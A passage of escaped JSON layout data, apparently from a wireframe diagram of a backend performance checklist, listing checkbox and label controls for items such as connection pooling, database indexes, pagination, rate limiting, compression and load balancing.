\"zOrder\": \"26\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"589\",\n          \"properties\": {\n            \"controlName\": \"check:cache-invalidation\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1707\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"28\",\n          \"w\": \"189\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"362\",\n          \"y\": \"694\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1708\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"29\",\n          \"measuredW\": \"98\",\n          \"measuredH\": \"28\",\n          \"x\": \"408\",\n          \"y\": \"705\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Databases\"\n          }\n        },\n        {\n          \"ID\": \"1709\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"30\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"771\",\n          \"properties\": {\n            \"controlName\": \"check:connection-pooling\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1710\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"31\",\n          \"measuredW\": \"503\",\n          \"measuredH\": \"28\",\n          \"w\": \"503\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"772\",\n          \"properties\": {\n            \"controlName\": \"connection-pooling\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"503\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use connection pooling to reduce connection overhead\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1711\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"32\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1073\",\n          \"properties\": {\n            \"controlName\": \"check:pagination-large-data\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1712\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"33\",\n          \"measuredW\": \"437\",\n          \"measuredH\": \"28\",\n          \"w\": \"437\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"1074\",\n          \"properties\": {\n            \"controlName\": \"pagination-large-data\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"437\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Implement efficient pagination for large datasets\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1713\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"34\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"918\",\n          \"properties\": {\n            \"controlName\": \"check:db-indexes\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1714\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"35\",\n          \"measuredW\": \"303\",\n          \"measuredH\": \"28\",\n          \"w\": \"303\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"919\",\n          \"properties\": {\n            \"controlName\": \"db-indexes\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"303\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Create efficient database indexes\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1715\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"36\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1113\",\n          \"properties\": {\n            \"controlName\": \"check:select-star\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1716\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"37\",\n          \"measuredW\": \"511\",\n          \"measuredH\": \"28\",\n          \"w\": \"511\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"1114\",\n          \"properties\": {\n            \"controlName\": \"select-star\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"511\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Avoid SELECT * queries and fetch only required columns\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1718\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"38\",\n          \"w\": \"189\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"362\",\n          \"y\": \"1592\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1719\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"39\",\n          \"measuredW\": \"73\",\n          \"measuredH\": \"28\",\n          \"x\": \"420\",\n          \"y\": \"1603\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Security\"\n          }\n        },\n        {\n          \"ID\": \"1720\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"40\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1670\",\n          \"properties\": {\n            \"controlName\": \"check:up-to-date\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1721\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"41\",\n          \"measuredW\": \"323\",\n          \"measuredH\": \"28\",\n          \"w\": \"323\",\n          \"h\": \"28\",\n          \"x\": \"264\",\n          \"y\": \"1671\",\n          \"properties\": {\n            \"controlName\": \"up-to-date\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"323\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Keep your dependencies up to date\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1722\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"42\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1782\",\n          \"properties\": {\n            \"controlName\": \"check:request-throttling\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1723\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"43\",\n          \"measuredW\": \"407\",\n          \"measuredH\": \"28\",\n          \"w\": \"407\",\n          \"h\": \"28\",\n          \"x\": \"264\",\n          \"y\": \"1783\",\n          \"properties\": {\n            \"controlName\": \"request-throttling\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"407\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Implement request throttling and rate limiting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1730\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"44\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"471\",\n          \"properties\": {\n            \"controlName\": \"check:reasonable-payload\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1731\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"45\",\n          \"measuredW\": \"347\",\n          \"measuredH\": \"28\",\n          \"w\": \"347\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"472\",\n          \"properties\": {\n            \"controlName\": \"reasonable-payload\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"347\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Enforce reasonable payload size limits\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1732\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"46\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"512\",\n          \"properties\": {\n            \"controlName\": \"check:enable-compression\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1733\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"47\",\n          \"measuredW\": \"314\",\n          \"measuredH\": \"28\",\n          \"w\": \"314\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"513\",\n          \"properties\": {\n            \"controlName\": \"enable-compression\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"314\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Enable compression for responses\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1734\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"3\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"225\",\n          \"y\": \"1617\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1736\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"48\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"218\",\n          \"y\": \"1222\",\n          \"properties\": {\n            \"controlName\": \"check:join-operations\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1737\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"49\",\n          \"measuredW\": \"494\",\n          \"measuredH\": \"28\",\n          \"w\": \"494\",\n          \"h\": \"28\",\n          \"x\": \"262\",\n          \"y\": \"1223\",\n          \"properties\": {\n            \"controlName\": \"join-operations\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"494\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Optimize JOIN operations and avoid unnecessary joins\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1741\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"51\",\n          \"w\": \"281\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"965\",\n          \"y\": \"389\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1742\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"52\",\n          \"measuredW\": \"214\",\n          \"measuredH\": \"28\",\n          \"x\": \"999\",\n          \"y\": \"400\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Optimize API Response\"\n          }\n        },\n        {\n          \"ID\": \"1743\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"50\",\n          \"w\": \"591\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"818\",\n          \"y\": \"413\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4999449522687746,\n              \"y\": 0.0003335799224988862\n            },\n            \"p2\": {\n              \"x\": 590.6951281847257,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1744\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"53\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"555\",\n          \"properties\": {\n            \"controlName\": \"check:implement-pagination\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1745\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"54\",\n          \"measuredW\": \"437\",\n          \"measuredH\": \"28\",\n          \"w\": \"437\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"556\",\n          \"properties\": {\n            \"controlName\": \"implement-pagination\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"437\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Implement efficient pagination for large datasets\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1746\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"55\",\n          \"w\": \"300\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"956\",\n          \"y\": \"689\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1747\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"56\",\n          \"measuredW\": \"125\",\n          \"measuredH\": \"28\",\n          \"x\": \"1043\",\n          \"y\": \"701\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Asynchronism\"\n          }\n        },\n        {\n          \"ID\": \"1748\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"2\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"818\",\n          \"y\": \"717\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1751\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"57\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"767\",\n          \"properties\": {\n            \"controlName\": \"check:offload-heavy\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1752\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"58\",\n          \"measuredW\": \"449\",\n          \"measuredH\": \"28\",\n          \"w\": \"449\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"768\",\n          \"properties\": {\n            \"controlName\": \"offload-heavy\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"449\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Offload heavy tasks to background jobs or queues\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1753\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"59\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"807\",\n          \"properties\": {\n            \"controlName\": \"check:message-brokers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1754\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"60\",\n          \"measuredW\": \"448\",\n          \"measuredH\": \"59\",\n          \"w\": \"448\",\n          \"h\": \"59\",\n          \"x\": \"899\",\n          \"y\": \"808\",\n          \"properties\": {\n            \"controlName\": \"message-brokers\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"448\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Utilize message brokers for async communication\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"163\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"31\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"between services.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1755\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"61\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"598\",\n          \"properties\": {\n            \"controlName\": \"check:unnecessary-computation\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1756\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"62\",\n          \"measuredW\": \"426\",\n          \"measuredH\": \"60\",\n          \"w\": \"426\",\n          \"h\": \"60\",\n          \"x\": \"899\",\n          \"y\": \"599\",\n          \"properties\": {\n            \"controlName\": \"unnecessary-computation\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"426\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Minimise unnecessary processing or expensive\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"241\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"32\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"computation on the server.\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1757\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"63\",\n          \"w\": \"587\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"817\",\n          \"y\": \"919\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"4273622\",\n            \"p0\": {\n              \"x\": -0.2686368305519409,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5001077701859015,\n              \"y\": 0.00033913823433391014\n            },\n            \"p2\": {\n              \"x\": 587.2092515685516,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"1758\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"64\",\n          \"w\": \"300\",\n          \"h\": \"50\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"956\",\n          \"y\": \"891\",\n          \"properties\": {\n            \"color\": \"16776960\"\n          }\n        },\n        {\n          \"ID\": \"1759\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"65\",\n          \"measuredW\": \"231\",\n          \"measuredH\": \"28\",\n          \"x\": \"990\",\n          \"y\": \"903\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Load Balancing & Scaling\"\n          }\n        },\n        {\n          \"ID\": \"1760\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"66\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"965\",\n          \"properties\": {\n            \"controlName\": \"check:scaling-strategies\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1761\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"67\",\n          \"measuredW\": \"497\",\n          \"measuredH\": \"28\",\n          \"w\": \"497\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"966\",\n          \"properties\": {\n            \"controlName\": \"scaling-strategies\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"497\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Use Horizontal or Vertical scaling whatever appropriate\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1762\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"68\",\n          \"measuredW\": \"30\",\n          \"measuredH\": \"30\",\n          \"w\": \"30\",\n          \"h\": \"30\",\n          \"x\": \"853\",\n          \"y\": \"1004\",\n          \"properties\": {\n            \"controlName\": \"check:load-balancing\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"30\",\n                  \"h\": \"30\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\"\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"1763\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"69\",\n          \"measuredW\": \"479\",\n          \"measuredH\": \"28\",\n          \"w\": \"479\",\n          \"h\": \"28\",\n          \"x\": \"899\",\n          \"y\": \"1005\",\n          \"properties\": {\n            \"controlName\": \"load-balancing\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"479\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  